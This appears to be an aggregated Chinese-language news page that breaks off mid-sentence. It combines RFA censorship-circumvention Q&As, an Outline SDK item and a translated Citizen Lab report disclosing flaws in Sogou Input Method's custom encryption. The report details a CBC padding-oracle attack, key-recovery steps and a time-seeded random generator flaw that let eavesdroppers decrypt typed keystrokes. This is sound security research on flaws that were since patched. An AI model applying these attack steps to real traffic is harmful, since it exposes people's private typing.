問：如果Telegram都用不了，哪一個平台的對話功能可以保障通訊安全？

李建軍：現時只有Signal有足夠的可靠度。Signal是開放源碼，WhatsApp的母公司Meta都未能對Signal有太大影響，另一方面，Signal是一個建基於美國的基金會維持，任何與中國的合作都會受到政府的嚴厲審查。而Signal的財政狀況，以及接收捐款的情況，亦遠比Telegram健康得多，令Signal有足夠能力抵受中國的誘惑。日後使用開放源碼項目時，應該同時考慮背後的組織的財政來源，因為財政不穩，很容易成為中國滲透的目標。Telegram與俄羅斯關係的背景，以及太過依賴加密貨幣的收入，就很容易造成被中國所滲透的問題。

一個實時信息系統，都需要大量在主機以及數據通訊網路的投資，因此暫時除了Signal和Telegram，並無太多通訊軟體技術可供用戶選擇，這也是為何騰訊會選擇相當多香港抗爭者用的Telegram來滲透的原因。

• 【翻牆問答】港府用原始DNS污染欲封JPEX被網民一日破功
• 【翻牆問答】Cloudflare 1.1.1.1遭封 中國翻牆越來越難
• 【翻牆問答】汽車收集數據 小心車上言談行蹤被當局監控
• 【翻牆問答】海外智能手機配搭eSIM成新翻牆手段
• 【翻牆問答】中國假帳戶泛濫 科企加強監管之餘用戶也需提高警覺

• 法國猶太老闆：神告訴我們，只有一位中國人能救人類
• 華人必看：中華文化的颶風 幸福感無法描述
• 解鎖ChatGPT|全平台高速翻牆:高清視頻秒開,超低延遲
• 免費PC翻牆、安卓VPN翻牆APP

來源:RFA, 文章內容並不代表本網立場和觀點。

問：香港有加密貨幣營運商涉無牌經營，當局意圖封鎖有關公司的網站和手機應用程式，只不過，一旦用家翻牆，更改了常用的DNS主機為Cloudflare或谷歌，有關封鎖就即時失效。為何DNS污染在香港幾乎一日破功？

李建軍：首先，香港並無完全封鎖Cloudflare和谷歌，原因是香港現時日常經濟運作條件之下，一旦封鎖谷歌和Cloudflare的DNS主機，甚至其他主機，都將會造成極大的混亂，有不少機構將無法有效運作。因此，香港人一般有替代的DNS主機選擇，在這一點上面，香港的環境與中國大陸相當不同。中國互聯網建設初期就已駁通公安部門的金盾系統，作為整個防火長城的基礎。而香港現時的網路環境，與俄羅斯有些類似——本來是採用西方標準的自由環境，但眼下正走往中國標準的封閉環境。

這次在香港發生的情況，涉事的加密貨幣營運商所採用的Cloudflare IP，亦不只一間公司使用，多間公司共用同一個IP是Cloudflare的特色。因此，封鎖特定IP這個做法完全行不通，可能結果是所有使用Cloudflare的網站全部遭到封鎖，隨時連香港親共傳媒都會受到波及。

因此，如果要跳過香港政府對相關加密貨幣供應商的這種網路封鎖，連VPN都不需要，只要換一換你日常使用的DNS主機，避免香港政府的原始DNS污染手法就可以。

問：為何中國可以封網封得出神入化，但香港封網手法就原始到連普通網路討論區用戶稍為動腦筋都能跳得過？

李建軍：有關加密貨幣營運商並非政治相關網站，否則，香港警方以至電訊公司或者會比較落力去封鎖相關網站。這關係到香港電訊公司大部分仍是私人企業，除非政府補貼相關成本，或者港府修改法律和牌照要求，否則香港的電訊公司要花一筆錢去安裝過濾系統，以及連接政府的系統，而電訊公司本身在實施這些額外措施時並不能從中賺錢，反而進一步削弱電訊公司的利潤，因此，香港各大電訊公司在封網這方面都採取消極的態度。與中國所有電訊公司都由國家擁有，就算蝕錢都不用向人民以至投資者問責的態度完全不同。

問：香港很多電訊公司都使用華為的設備，難道華為的工程師不能將中國式金盾系統輕易安裝在他們的設備中？

李建軍：香港使用華為設備的邏輯與中國本身有些不同，香港版的華為設備大致上與西方國家採用的版本相若，雖然會留有後門供情報刺探之用，但本身不會有任何設計駁通金盾系統，因此，香港縱使實施了《國安法》一段時間，都未能夠實踐中國式封網，除了因為經濟因素和成本考量之外，亦因為香港的網路基建長期以來都是按西方國家規格去做，並無太多用於監控和過濾的設計。

只不過，日後香港各大電訊公司都可能在升級設備時跟隨中國版的規格，屆時就有可能有更進一步封網的情況出現。而如果中國當局對香港各大電訊公司進行國有化，亦可能是香港出現封網的先兆，因為私人企業封網會影響利潤，故會消極回應，但如果各大電訊公司國有化，就可以不理利潤，一切都以維穩為先。因此，中國當局會否收購香港其餘電訊公司，這點是十分值得大家關注。

• 【翻牆問答】Telegram與騰訊合作引資安私隱疑慮
• 【翻牆問答】Cloudflare 1.1.1.1遭封 中國翻牆越來越難
• 【翻牆問答】汽車收集數據 小心車上言談行蹤被當局監控
• 【翻牆問答】海外智能手機配搭eSIM成新翻牆手段
• 【翻牆問答】中國假帳戶泛濫 科企加強監管之餘用戶也需提高警覺

• 法國猶太老闆：神告訴我們，只有一位中國人能救人類
• 華人必看：中華文化的颶風 幸福感無法描述
• 解鎖ChatGPT|全平台高速翻牆:高清視頻秒開,超低延遲
• 免費PC翻牆、安卓VPN翻牆APP

來源:RFA, 文章內容並不代表本網立場和觀點。

首先，對於那些不知道的人來說：谷歌的Jigsaw互聯網自由單位提供了一個名為Outline的開源項目，包括一個客戶端和一個管理器。

您可以使用管理器啟動個人Outline代理伺服器，該伺服器可以位於您自己的硬體上或雲中的虛擬機中，並生成由客戶端用於連接到此伺服器節點的訪問密鑰。您可以為自己設置一個Outline伺服器，也可以與朋友、家人和同事共享訪問許可權。成功連接到它的客戶端將通過Outline代理伺服器安全地路由其設備的互聯網流量。

因此，如果您無法從您所在的位置訪問某些在線服務，您可以通過您的伺服器連接，該伺服器可以放置在具有更多自由的國家或網路中。Outline有時被描述為VPN，但它實際上是一個與Shadowsocks兼容的代理，並使用標準的加密和身份驗證演算法：AES和ChaCha20-Poly1305。

Outline的主要特點之一是您不使用公共VPN提供商：您使用自己的私有基礎設施。另一個主要特點是它被認為相對容易設置和使用，可在Android、iOS、Windows、macOS、Chrome和Linux上隨時使用。

現在，谷歌已經開始將該客戶端代碼作為軟體開發工具包（SDK）提供，以便將其嵌入到第三方應用程序中，使這些應用程序能夠為用戶提供內置的繞過審查、地理鎖定內容和其他限制的功能。

「在危機時刻，互聯網連接是生命線，但威權主義政權擅長封鎖訪問。這就是為什麼VPN在人們最需要時保持在線的關鍵所在，」Jigsaw團隊在周三表示。

「介紹Outline SDK：我們的團隊為開發人員創建了這個工具包。它使他們能夠直接將繞過技術嵌入到他們的應用程序中。Outline SDK簡化了這個過程，使應用程序即使面臨審查也能繼續提供關鍵內容，而無需使用VPN。」

目前，該項目的這一部分處於Alpha階段，具有各種庫可供集成到應用程序中。Jigsaw警告說，用Go編寫的軟體「處於早期階段，不能保證穩定」。

還有一些其他限制。其中之一是目前它只關注客戶端，因此如果您想在應用程序中使用Outline，您需要幫助用戶設置代理伺服器並導入訪問密鑰。伺服器端庫以及文檔和其他資源尚未推出。

此外，Outline並不孤單。還有一些類似的努力，從這個記者的角度來看，Cult of the Dead Cow的類似Tor的Veilid也是一個用於應用程序集成的開源SDK。不過，與Outline不同，Veilid並不真正針對代理或VPN服務，而是針對客戶端之間的私密、安全網路連接。

如果您想設置自己的VPN，可以查看Trail of Bits的Algo，它使配置WireGuard伺服器（另一個很酷的項目）變得簡單。

無論如何，通過Outline，開發人員似乎有另一個可能的選擇，如果他們想要將繞過審查或地理鎖定功能添加到他們的應用程序中。®

• 谷歌Gemini照搬中共論調 令人憂心
• 谷歌推出新的學術研究獎計劃
• 谷歌AI機器人被訓練成中共喉舌？美議員擔憂
• 史無前例！烏首次搗毀俄通訊基站，烏攻俄多個機場 莫斯科航班大亂；俄艦挑釁美國遭羞辱；谷歌成中共官宣部 誇讚習近平令美議員震怒；美或撤銷半島電台採訪資格【被美新聞】
• 因 Pixel 8 顯示屏問題 谷歌宣布延長維修

• 法國猶太老闆：神告訴我們，只有一位中國人能救人類
• 華人必看：中華文化的颶風 幸福感無法描述
• 解鎖ChatGPT|全平台高速翻牆:高清視頻秒開,超低延遲
• 免費PC翻牆、安卓VPN翻牆APP

via HERE.news

作者：Jeffrey Knockel, Zoë Reichert, and Mona Wang

日期：2023年8月9日

我們敦促搜狗輸入法用戶立即更新到最新版本的應用程序（至少是Windows版本13.7，Android版本11.26或iOS版本11.25）。

主要發現：

• 我們分析了騰訊的搜狗輸入法，該輸入法是中國最受歡迎的輸入法，擁有超過4.5億的月活躍用戶。
• 通過分析軟體的Windows、Android和iOS版本，我們發現了搜狗輸入法自定義的「EncryptWall」加密系統以及它對敏感數據進行加密的漏洞。
• 我們發現，包含用戶按鍵等敏感數據的網路傳輸可以被網路竊聽者解密，揭示用戶的實時輸入內容。
• 我們已將這些漏洞披露給搜狗開發人員，並且他們已經發布了修復的軟體版本（截至2023年7月20日，Windows版本13.7，Android版本11.26和iOS版本11.25）。
• 這些發現強調了中國軟體開發人員使用得到良好支持的加密實現（如TLS）的重要性，而不是試圖自行設計加密系統。

簡介：

與輸入少量字母的字母語言相比，輸入象形文字語言（如中文）更加困難。中文有數以萬計的字元，使用頻率各不相同，無法全部放在一個鍵盤上。沒有標準的中文輸入方法，但隨著現代技術的發展，出現了許多互補的方法。最流行的是拼音輸入法，基於漢字的拼音羅馬化。注音是另一種常用的音標輸入法，而形狀或筆畫輸入法（如倉頡或五筆）也常被使用。現代輸入法還支持通過手寫、語音識別、照片或OCR輸入字元。

在本報告中，我們分析了騰訊的搜狗輸入法，這是中國最受歡迎的輸入法，擁有超過4.55億的月活躍用戶，並且有適用於Windows、Android和iOS等多個平台的應用程序版本。搜狗輸入法佔據了中國輸入法用戶的70%，其次是訊飛和百度的產品。麥咖啡在2015年的分析中曾觀察到該應用程序的Windows版本在不加密的情況下傳輸設備標識符，但沒有分析該應用程序的加密系統傳輸的數據的安全性。

我們分析了搜狗輸入法的Windows、Android和iOS版本，發現該應用程序的自定義加密系統存在嚴重的漏洞，使得諸如用戶按鍵等敏感數據可以被網路竊聽者解密。我們發現的這些漏洞不僅限於中國的中文作者，根據市場研究估計，訪問該應用程序網站的美國用戶佔比超過3.3%，台灣占近1.8%，日本佔超過1.5%。

本報告的其餘部分結構如下。在「方法論」部分，我們概述了我們用於分析搜狗輸入法的逆向工程工具和技術。在「發現」部分，我們描述了搜狗輸入法的自定義加密系統的工作原理，我們發現的漏洞以及受影響的數據傳輸示例。在「緩解措施」和「協調披露」部分，我們討論了搜狗如何修復我們報告的漏洞以及我們如何向他們報告漏洞。最後，在「討論」部分，我們反思了這些漏洞對中國應用程序生態系統中的系統性問題的影響。

方法論：

我們分析了搜狗輸入法的Windows、Android和iOS版本。為了獲取我們分析的版本，我們在2023年5月從產品網站下載了Windows和Android版本的最新版本（儘管Android版本截至2021年6月3日仍然可用，但目前在Google
Play商店中不可用）。我們從Apple的App Store獲取了iOS版本（有關分析版本的詳細信息，請參見表1）。

平台 搜狗輸入法版本 設備

Windows 7 SP1 13.4 虛擬機

Android 9 11.20 Google Pixel 2

iOS 14.8 11.21 iPhone SE 2代

表1：分析的搜狗輸入法版本的詳細信息。

我們使用靜態和動態分析方法分析了這些版本的搜狗輸入法。我們使用jadx對Dalvik位元組碼進行靜態分析和反編譯，使用IDA
Pro對本機機器代碼進行靜態分析和反編譯。我們使用frida對Android和iOS版本進行動態分析，使用IDA
Pro對Windows版本進行動態分析。最後，我們使用Wireshark和mitmproxy進行網路流量捕獲和分析。

發現：

我們發現搜狗輸入法的每個版本都使用一個名為「EncryptWall」的加密系統對敏感數據進行加密。我們發現Windows和Android版本的搜狗輸入法在這個加密系統中存在漏洞，包括對CBC填充預言攻擊的漏洞，這使得網路竊聽者可以恢復加密的網路傳輸的明文，揭示包括用戶輸入的內容在內的敏感信息（請參見表2以了解受影響的版本的詳細信息）。在Android版本的情況下，我們還能夠恢復用於加密流量的對稱加密密鑰的第二半部分。我們還發現了影響iOS版本的加密的漏洞，但我們目前不知道如何利用我們分析的版本中的這些漏洞。

平台 是否可利用？

Windows 是

Android 是

iOS 沒有已知的利用方法

表2：搜狗輸入法受影響的版本摘要。

在本節的其餘部分，我們詳細介紹了對搜狗的EncryptWall加密系統的攻擊。我們首先介紹加密系統的背景，然後詳細說明我們對其進行的攻擊，最後分析我們的攻擊如何適用於我們分析的三個平台，以適應EncryptWall系統在不同平台上的實現差異。

搜狗的EncryptWall

我們在本報告中討論的攻擊涉及我們在搜狗的「EncryptWall」加密系統中發現的漏洞，該系統似乎旨在通過明文HTTP
POST請求中的加密欄位，將敏感流量安全地隧道傳輸到未加密的搜狗HTTP
API端點。在本報告中，我們將外部的明文HTTP請求稱為EncryptWall請求，而每個EncryptWall請求封裝了隧道請求的單個加密請求。儘管在我們分析的三個平台上的實現存在差異，但我們發現該系統的工作原理通常如下：

EncryptWall請求作為HTTP
POST請求發送到搜狗EncryptWall
API端點，其中包含至少五個HTTP表單欄位，指定用於加密隧道請求以及加密隧道數據的加密參數。兩個表單欄位與指定用於加密EncryptWall請求中的其他欄位的密鑰和初始化向量（IV）有關：

「K」 – 使用PKCS#v1.5填充，使用硬編碼的1024位公共RSA密鑰對256位AES密鑰k進行加密的base64編碼；每個請求隨機生成k

「V」 – 使用硬編碼的128位初始化向量v進行加密的base64編碼；每個請求隨機生成v

這些欄位中的三個欄位分別進行zlib壓縮、使用k和v進行加密，並根據以下偽代碼進行base64編碼：

ᴇɴᴄʀʏᴘᴛ(data) = base64_encode(AES_cbc_encrypt(zlib_compress(data, wbits=-15), k, v))

我們一直觀察到以這種方式加密的三個欄位如下：

「U」 – ᴇɴᴄʀʏᴘᴛ(隧道HTTP請求的URL)

「G」 – ᴇɴᴄʀʏᴘᴛ(隧道HTTP請求的GET參數，以查詢字元串的形式)

「P」 – ᴇɴᴄʀʏᴘᴛ(隧道HTTP請求的原始POST數據，如果有的話)

根據分析的平台和正在進行的請求類型，EncryptWall請求可能通過加密的HTTPS或明文HTTP發送。在使用HTTPS發送EncryptWall請求的情況下，我們認為這些請求在網路竊聽方面是安全的，儘管EncryptWall請求的底層加密可能存在缺陷，HTTPS的TLS加密還可以提供額外的保護。因此，我們在本節其餘部分的發現僅涉及我們觀察到的通過不受HTTPS額外保護的明文HTTP發送的EncryptWall請求。

攻擊

我們發現EncryptWall系統容易受到CBC填充預言攻擊的漏洞，這是一種最初於2002年發表的攻擊類型，影響使用密碼塊鏈接（CBC）塊密碼模式和PKCS#7填充的塊密碼。在這種攻擊中，可以逐位元組地恢復消息的明文，每個位元組最多使用256個消息。我們不打算在此完全重述此攻擊的工作原理，該攻擊依賴於一種稱為填充預言的特定類型的邊通道，該邊通道明確地顯示解密后的接收到的密文是否正確填充。我們在EncryptWall系統中識別到了這樣的預言，我們發現在「U」表單欄位中發送的密文在包含錯誤填充時返回HTTP

400狀態碼，而在正確填充時，根據解密后的URL是否是有效URL，返回200狀態碼或500狀態碼。通過進行CBC填充預言攻擊，這個填充預言允許我們不僅揭示「U」的整個明文，還可以揭示「G」和「P」的明文，因為它們使用相同的密鑰和初始化向量。因此，通過使用這個填充預言，我們可以解密整個EncryptWall請求的內容。

在本節的其餘部分，我們將這個攻擊適應到Windows和Android平台上EncryptWall系統實現的所有偏差。儘管我們目前無法利用我們在iOS版本中發現的問題，但我們還是詳細說明了EncryptWall系統中的問題。

Windows版本13.4

我們分析的Windows版本中實現的EncryptWall系統在一個細節上與上述基本實現有所偏差，即IV

v不是公開的，而是以與AES密鑰k相同的方式進行加密。由於這種差異，v不是立即可知的，這可能會帶來兩個潛在的問題：首先，在CBC填充預言攻擊中，必須知道IV才能解密第一個明文塊。其次，由於在加密之前，EncryptWall請求中的隧道數據被壓縮，第一個明文塊對於解壓縮其餘塊來說非常重要。

然而，我們開發了一種方法來恢復v，該方法利用v被重用以加密多個明文的事實。具體而言，由於「U」的URL很容易預測，並且始終只有少數可能的端點之一，我們可以通過在第一個密文塊「U」上執行CBC填充預言攻擊來恢復v，假設初始IV為全零。這種攻擊的結果將是URL的第一個明文塊與v異或的結果。然後，我們將此結果與我們對URL的第一個明文塊的預測進行異或，得到v。一旦我們恢復了v，我們就可以像往常一樣對「G」和「P」進行CBC填充預言攻擊。

作為此攻擊易受攻擊的數據的一個示例，我們發現對於發送到 「http://get.sogou.com/q」的EncryptWall請求，當「U」為「http://master-proxy.shouji.sogou.com/swc.php」

時，「G」包含與搜狗軟體版本相關的版本信息，「P」是一個包含最近輸入的按鍵的protobuf緩衝區（請參見圖2的示例）。我們認為這些傳輸與基於雲的自動完成服務有關。由於這些傳輸容易受到我們的攻擊，搜狗輸入法用戶的按鍵可以被網路竊聽者解密，從而告知竊聽者用戶實時輸入的內容。

Android版本11.20

我們分析的Android版本採用了EncryptWall的基本實現，但增加了四個額外的表單欄位：「R」、「S」、「E」和「F」。欄位「R」傳輸另一個32位元組的密鑰r。值得注意的是，r的每個位元組都是從ASCII大寫字母和數字的36個字符集中隨機選擇的。因此，與25632
= 2256位熵相比，該密鑰只有3632 <
2166位熵。此外，與k不同，r不是每個請求隨機生成的，而是僅在應用程序生命周期內生成一次，並且緩存在C靜態內存中。欄位「R」然後作為k ⊕
r的base64編碼進行傳輸。請注意，由於這種傳輸，k的熵也降低到3632 <
2166位熵。參數k、r和v用於根據以下偽代碼對「S」、「E」和「F」進行編碼和加密：

ᴇɴᴄʀʏᴘᴛSEF(data) = base64Encode(k ⊕ AES_cbc_encrypt(data, r, 「EscowDorisCarlos」))

請注意，與典型的ᴇɴᴄʀʏᴘᴛ()函數不同，ᴇɴᴄʀʏᴘᴛSEF()函數具有硬編碼的IV「EscowDorisCarlos」且不進行zlib壓縮。此外，儘管ᴇɴᴄʀʏᴘᴛSEF()使用r而不是k作為AES密鑰，但k還與AES加密結果進行異或。每個欄位「S」、「E」和「F」都根據ᴇɴᴄʀʏᴘᴛSEF()函數進行單獨加密和編碼。

儘管使用了這種修改後的加密演算法，我們仍然能夠成功攻擊這些欄位的加密。我們能夠應用CBC填充預言攻擊，使用搜狗對「E」表單欄位的處理來替代我們通常使用的「U」表單欄位，但有以下兩個適應：

首先，由於密鑰k是32位元組，而AES塊是16位元組，當AES塊密碼的輸出與k進行異或時，我們可以將輸出視為與兩個密鑰k1和k2進行異或的結果，其中k1與奇數塊（1、3、…）進行異或，k2與偶數塊（2、4、…）進行異或（請參見圖3的示例）。因此，在進行CBC填充預言攻擊時，我們必須確保我們攻擊的塊在原始塊為偶數時處於偶數位置，原始塊為奇數時處於奇數位置。換句話說，我們必須保持塊位置的奇偶性。

其次，由於IV是硬編碼的，我們無法修改它，因此，類似於Windows版本，CBC填充預言攻擊無法在沒有適應的情況下恢復第一個明文塊p1。換句話說，我們發現p1對於「S」、「E」和「F」欄位仍然是可恢復的，通過以下步驟：

我們將固定的IV「EscowDorisCarlos」視為第一個密文塊c1之前的一個密文塊c0，並將其發送給預言。由於c1必須位於奇數位置，我們確保c0位於偶數位置。因此，在攻擊過程中，預言在解密第一個密文塊c1時首先將c0與k2進行異或。

結果，解密c1會產生p1’，它等於p1 ⊕ 「EscowDorisCarlos」 ⊕ c0 ⊕ k2。

由於（根據步驟1）c0 = 「EscowDorisCarlos」，p1’僅僅是p1 ⊕ k2。因此，通過應用步驟1-3，我們恢復了「S」、「E」和「F」欄位的p1 ⊕ k2。

此外，我們還發現「S」欄位的第一個明文塊的內容非常可預測。具體而言，它們包含正在使用的搜狗版本，這已經作為EncryptWall請求的HTTP頭明文傳輸，因此任何網路竊聽者都可以獲得這些信息。因此，在「S」欄位的情況下，我們知道p1。在步驟3中，我們恢復了「S」欄位的p1
⊕ k2。由於我們知道p1和p1 ⊕ k2，因此我們已經恢復了k2。

一旦我們知道了k2，它對於「E」和「F」欄位也是相同的值，因為（根據步驟3）我們知道了「E」和「F」欄位的p1 ⊕ k2，我們也可以恢復「E」和「F」的p1。

此外，我們現在還可以恢復r的第二半部分r2，這對於攻擊者很有幫助，因為我們對r2的了解可以在隨後的請求中更容易地恢復k2。請記住，「R」欄位對k
⊕
r進行編碼。因此，在恢復k2后，我們可以通過將「R」欄位的編碼內容的第二半部分與k2進行異或來恢復r2。一旦恢復了r2，由於r與k不同，每個應用程序生命周期只生成一次，我們可以更容易地通過將「R」的第二半部分與r2進行異或來在將來的請求中恢復k2，從而使攻擊更容易進行。此外，這也降低了r的熵，因此也降低了k的熵，使其為3616
< 283位。

作為此攻擊易受攻擊的數據的另一個示例，我們觀察到對於發送到「http://v2.get.sogou.com/q」的EncryptWall請求，當「U」為「http://swc.pinyin.sogou.com/swc.php」

時，「P」是一個包含當前輸入欄位中的所有文本以及文本所在應用程序的包名的protobuf緩衝區（請參見圖4的示例）。這些傳輸發生在按下放大鏡圖標時，我們認為這些傳輸與一種圖像搜索功能有關，其中輸入的文本將與動畫和表情包的資料庫進行搜索，並可以插入到輸入的消息中。由於這些傳輸易受我們的攻擊，搜狗輸入法用戶的按鍵是網路竊聽者可以解密的內容，從而告知竊聽者這些用戶在輸入時正在輸入什麼。

作為此攻擊易受攻擊的數據的另一個示例，我們觀察到對於發送到「http://v2.get.sogou.com/q」的EncryptWall請求，當「U」為「http://update.ping.android.shouji.sogou.com/update.gif」

時，「P」是一個查詢字元串，其中包含Android設備上安裝的每個應用程序的列表。我們不知道這個數據傳輸實現的具體功能是什麼。雖然可以想象知道用戶當前正在使用的應用程序可能有助於在該應用程序中提供更好的輸入建議，但很難想象知道用戶安裝了每個應用程序，甚至是用戶不打算與搜狗輸入法一起使用的應用程序，如何提供更好的輸入建議。

iOS版本11.21

我們分析的iOS版本與基本的EncryptWall實現沒有明顯的偏差。然而，與我們在某些平台上觀察到的一些EncryptWall請求通過加密的HTTPS發送，其他通過明文HTTP發送不同，我們觀察到的所有由我們分析的iOS版本發送的EncryptWall請求都通過HTTPS發送，因此我們認為它們在網路竊聽方面是安全的。然而，我們注意到，如果沒有HTTPS的額外保護，iOS版本將是最容易受到攻擊的，因為在EncryptWall的實現中存在另一個缺陷。具體而言，我們發現iOS版本根據以下代碼隨機選擇密鑰k和IV
v：

請注意，在隨機生成密鑰之前，隨機數生成器以從Unix紀元以來的秒數為種子，向下取整。這種行為有兩個後果：首先，推導AES密鑰k所需的唯一信息是請求發送的時間，任何網路竊聽者都可以輕鬆記錄。其次，由於隨機數生成器在生成IV

v之前使用幾乎總是相同的時間進行重新種子化，v幾乎總是k的前128位。由於v是公開的，所有的EncryptWall消息都會在v中公開k的前半部分，儘管k使用公共RSA密鑰進行了加密。

然而，我們再次注意到，由於EncryptWall請求在iOS上似乎總是額外包裝在HTTPS中，因此目前無法利用這個缺陷。然而，由於這個缺陷的嚴重性，我們仍然不得不提及它，因為先前的iOS版本可能會受到影響，並且這段代碼可能會在其他可能存在漏洞的應用程序中被重用。

緩解措施

為了解決報告的問題，搜狗輸入法應該使用流行的、最新的HTTPS或TLS實現來保護所有傳輸，而不是依賴自定義的加密來保護敏感用戶數據的傳輸。此外，搜狗輸入法不應傳輸對程序功能無關的數據。

協調披露

2023年5月31日，我們在附上的信函中向騰訊披露了我們的發現，遵循我們的安全披露漏洞政策。下表3是我們的披露時間表：

日期 聯繫方式

2023年5月31日 漏洞披露給[email protected]。

2023年6月16日 通過騰訊安全響應中心（TSRC）網門披露漏洞。

2023年6月25日 我們通過TSRC門戶收到以下回復：

「感謝您對騰訊安全的關注。對於此問題，沒有低或低安全風險。期待您的下一個更令人興奮的報告。」

2023年6月25日 18小時后，我們通過TSRC門戶收到以下回復：

「很抱歉，我之前的回復是錯誤的，我們正在處理這個漏洞，請不要公開，非常感謝您的報告。」

騰訊對我們的披露的最初拒絕和隨後的改變成為本報告標題的靈感。

2023年6月26日 我們通過TSRC門戶發送以下消息：

「感謝您的更新。我們將在2023年7月31日之後公開披露此漏洞。」

2023年6月28日 我們通過TSRC門戶收到以下回復：

「非常感謝您的報告，修復計劃和修復時間已通過電子郵件回復給[email protected]。」

2023年6月28日 我們通過TSRC門戶發送以下消息：

「我們沒有在該地址收到此類電子郵件。然而，我們注意到我們的域名（citizenlab.ca）可能無法從中國訪問，因此來自中國的電子郵件可能無法傳遞到該地址。您能否將您發送到[email protected]的電子郵件的副本發送到我的另一個電子郵件地址[已刪除]@utoronto.ca？我相信從中國發送電子郵件到這個utoronto.ca地址不會有問題。謝謝。」

2023年6月29日 我們通過TSRC門戶收到以下回復：

「我們發送的電子郵件是[email protected]，主題是：回復搜狗拼音法漏洞，可能被歸類為垃圾郵件？」

2023年6月29日 我們通過TSRC門戶發送以下消息：

「不幸的是，我們沒有在該地址收到此類電子郵件，甚至沒有在垃圾郵件文件夾中收到。您能否嘗試將電子郵件的副本發送到我的另一個電子郵件地址[已刪除]@utoronto.ca？謝謝。」

2023年7月4日 我們通過TSRC門戶收到以下回復：

「您能使用[email protected]給[email protected]發送一封未經請求的電子郵件嗎？然後我將把修復細節發送到[已刪除]@utoronto.ca。」

2023年7月4日 我們通過TSRC門戶發送以下消息：

「是的，我們現在已經發送了這樣一封電子郵件，正在等待您的回復。」

2023年7月4日 我們在[已刪除]@utoronto.ca電子郵件地址收到以下回復。在電子郵件回復中，搜狗輸入法開發人員概述了他們已經在電子郵件日期之前部署的部分緩解措施，以及將在2023年7月31日之前將所有平台遷移到使用TLS加密的時間表。

2023年7月18日 我們發現搜狗輸入法開發人員已經發布了每個平台的應用程序版本，這些版本被確定為修復我們發現的問題的版本。我們發現Windows和iOS版本解決了我們報告的問題，但Android版本沒有。因此，我們通過TSRC門戶發送以下消息：

「你好。在您發送給我們的電子郵件中，您指出Android應用程序的11.25版本將升級為使用HTTPS發送EncryptWall請求。我們分析了11.25版本（SogouInput_11.25_android_sweb.apk），發現它仍然沒有使用HTTPS來傳輸我們在披露中發現的所有EncryptWall請求，包括我們報告的請求。11.25版本仍然是應該包含這些修復的Android應用程序版本嗎，還是將在未來版本中修復？」

2023年7月20日 我們發現搜狗輸入法開發人員已經發布了Android應用程序的11.26版本。我們發現這個版本解決了我們報告的所有問題。

2023年7月21日 TSRC門戶提示以下消息：

「漏洞已修復，請查看並檢查是否仍存在。如果已修復，請點擊「已修復」；如果未修復，請點擊「未修復」。」

我們點擊了「已修復」。

2023年7月22日 我們通過TSRC門戶收到以下回復：

「感謝您的反饋。我們將在內部進行調查。」

2023年7月24日 我們通過TSRC門戶收到以下回復：

「非常感謝您的反饋，我們的最新修復版本是11.26（SogouInput_11.26_android_sweb.apk），您可以從我們的官方網站https://shurufa.sogou.com/下載。如果您有其他問題，請告訴我們。謝謝。」

2023年7月27日 我們在[已刪除]@utoronto.ca電子郵件地址收到以下電子郵件。在電子郵件中，搜狗輸入法開發人員向我們提供了包含修復的版本，並詢問我們公開披露的「確切時間、網站和具體內容」。

2023年7月27日 我們通過[已刪除]@utoronto.ca發送以下回復：

「我們可以確認您已經修復了我們報告的漏洞。我們將在2023年7月31日之後公開披露這些漏洞。我們將在我們的網站https://citizenlab.ca/上發布有關安全漏洞的詳細報告。」

2023年7月29日 我們在[已刪除]@utoronto.ca電子郵件地址收到以下電子郵件。在電子郵件中，搜狗輸入法表示他們致力於隱私和安全，並解釋了他們實施EncryptWall系統的最初動機，並提醒我們他們對報告的漏洞的快速解決。

表3：漏洞披露時間表。

2023年7月4日，我們評估了搜狗輸入法開發人員在2023年6月30日應用的部分緩解措施，其中，如果出現錯誤，搜狗伺服器始終返回相同的HTTP狀態碼-400-而不是根據是否存在填充錯誤或某個更高級別的應用層返回400或500。雖然這減輕了我們對Windows版本搜狗輸入法的攻擊以及對Android版本的「U」、「G」和「P」欄位的攻擊，但我們對Android的「S」、「E」和「F」欄位的攻擊仍然有效，因為它依賴於區分HTTP狀態碼400和200，其中200是成功代碼而不是錯誤代碼，而且這種緩解只是修改伺服器，在發生錯誤的情況下無條件返回狀態碼400。

平台 修復版本

Windows 13.7

Android 11.26

iOS 11.25

表4：搜狗輸入法的修復版本。

在搜狗輸入法開發人員的2023年7月4日的通信中，他們表示Windows版本的應用程序的13.7版本和Android和iOS版本的應用程序的11.25版本將解決我們報告的問題。2023年7月18日，我們發現這些版本的應用程序已經發布。請注意，這些更新是在我們強制執行的7月31日截止日期之前發布的。分析更新的Windows版本，我們發現所有EncryptWall流量都使用操作系統的WinHTTP服務提供的TLS實現進行加密，令人滿意地修復了我們在Windows版本中報告的漏洞。請記住，我們不知道如何利用我們在iOS版本中發現的問題。儘管最初將11.25版本確定為解決我們報告的漏洞，但我們發現2023年7月20日，搜狗輸入法開發人員發布了Android應用程序的11.26版本，並且該版本使用TLS加密所有EncryptWall流量，令人滿意地修復了我們在Android版本中報告的漏洞。因此，到2023年7月20日，我們報告的所有問題都已修復（請參見表4以獲取修復版本的摘要）。

我們在收到騰訊對我們披露的電子郵件回復方面遇到的困難突顯了在向某些司法管轄區的公司披露漏洞時面臨的意外挑戰。在向騰訊披露漏洞后，我們發現我們的電子郵件域名（citizenlab.ca）在中國被屏蔽。具體而言，我們發現中國的國家防火牆對查詢此域名（包括MX記錄查詢）的DNS回復注入了異常的DNS回復。注入的DNS回復包含一個看似任意的IP地址的A記錄，即使查詢是針對MX記錄而不是A記錄。當執行A記錄查詢的客戶端收到其中一個注入的回復時，它將錯誤地使用注入回復中的虛假IP地址。然而，對於MX記錄，這些注入的回復可能會被DNS客戶端解釋為錯誤，因為在MX查詢中收到A記錄，而DNS客戶端對注入域名的MX查詢可能只是失敗，而不是像A查詢中那樣錯誤地使用虛假記錄。儘管這種注入行為可能旨在阻止中國用戶訪問我們的網站，但它也妨礙了中國用戶發送電子郵件給我們的能力，即使這樣的電子郵件是經過徵求的。

我們無法確定中國屏蔽我們域名的原因是騰訊的電子郵件未能傳遞到我們域名的電子郵件伺服器，但我們收到了一些後來的證據，進一步加強了這個假設。我們在[已刪除]@utoronto.ca上收到的7月27日的電子郵件也發送到了[email protected]。最終，[email protected]地址在24小時后收到了電子郵件。通過檢查電子郵件的標頭，我們發現電子郵件在騰訊的郵件伺服器和Google的MX伺服器之間停滯不前。由於Google是我們的電子郵件提供商在citizenlab.ca

